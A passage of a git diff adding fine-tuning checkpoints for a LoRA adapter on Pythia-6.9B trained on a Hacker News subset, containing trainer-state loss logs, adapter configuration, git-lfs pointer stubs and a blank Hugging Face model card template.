"eval_loss": 3.0041346549987793, + "eval_runtime": 43.8069, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 4.042088508605957, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.5963, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 3.0001718997955322, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 590 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.66778247184384e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-590/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..5aeda23aa133dcade2d464766804fbd900352311 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d54abe4ae978ee340a1716d2411c9f23314acf8a3ddcac4edb42e751fa16edbd +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..2e9678f071585c80eb5afbfa95624c65baaf6be0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9edb258ddacff1dc8e32d497e6d83c6de30a612aa5397049c5e5563af2ba2a14 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..3d041c10a3af80c2be01488b87e7c23a107acab4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:224b98cd2a3813f8f156af229101dde99ced2e24294f3d7ad7b1538fdc49c27c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..e35866f32db88c57fbcc281885df929786abae39 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:db64dfcaaa6d2770fdeb8c6c250f6efda7e6b2cbc236d50bf153703fcb63ac50 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..589441307584ded1a507095d1194c3204827ab8a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/trainer_state.json @@ -0,0 +1,123 @@ +{ + "best_metric": 2.5308544635772705, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60", + "epoch": 0.8, + "eval_steps": 10, + "global_step": 60, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9831643191705600.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-60/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..cc804dbbb8152941dd6463993c5dad542e5418dd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:55bdea8a8ca32747c52044923869657bc3c373474358bef0a18236baa8494b45 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..f0339f3a50f5ecdb72a78907b2867546be7d8d5d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dea416beff8e9240c0de9a109f9c7b702d2f3ca54b9dedd6a543c0e81ff08ce5 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..ef40b259bc3233779099c3b8651c2fe0a9d07fa5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9bbc772ea5a37ab482a5fa0d13a2014584215ee3da6246ff6fe50fb8dafbfb8e +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..b706276d2ff18ccd83310c61d87eb2ed9fc15f80 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:efa99c3d03a71b7b58bf8c6b52c8cd63b4d6a19d88cbdc8dfd20580671d183cb +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..8ed3a2e0c8da230ad3e2476e4f63a9d756fa52c1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-600/trainer_state.json @@ -0,0 +1,933 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.0, + "eval_steps": 10, + "global_step": 600, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + 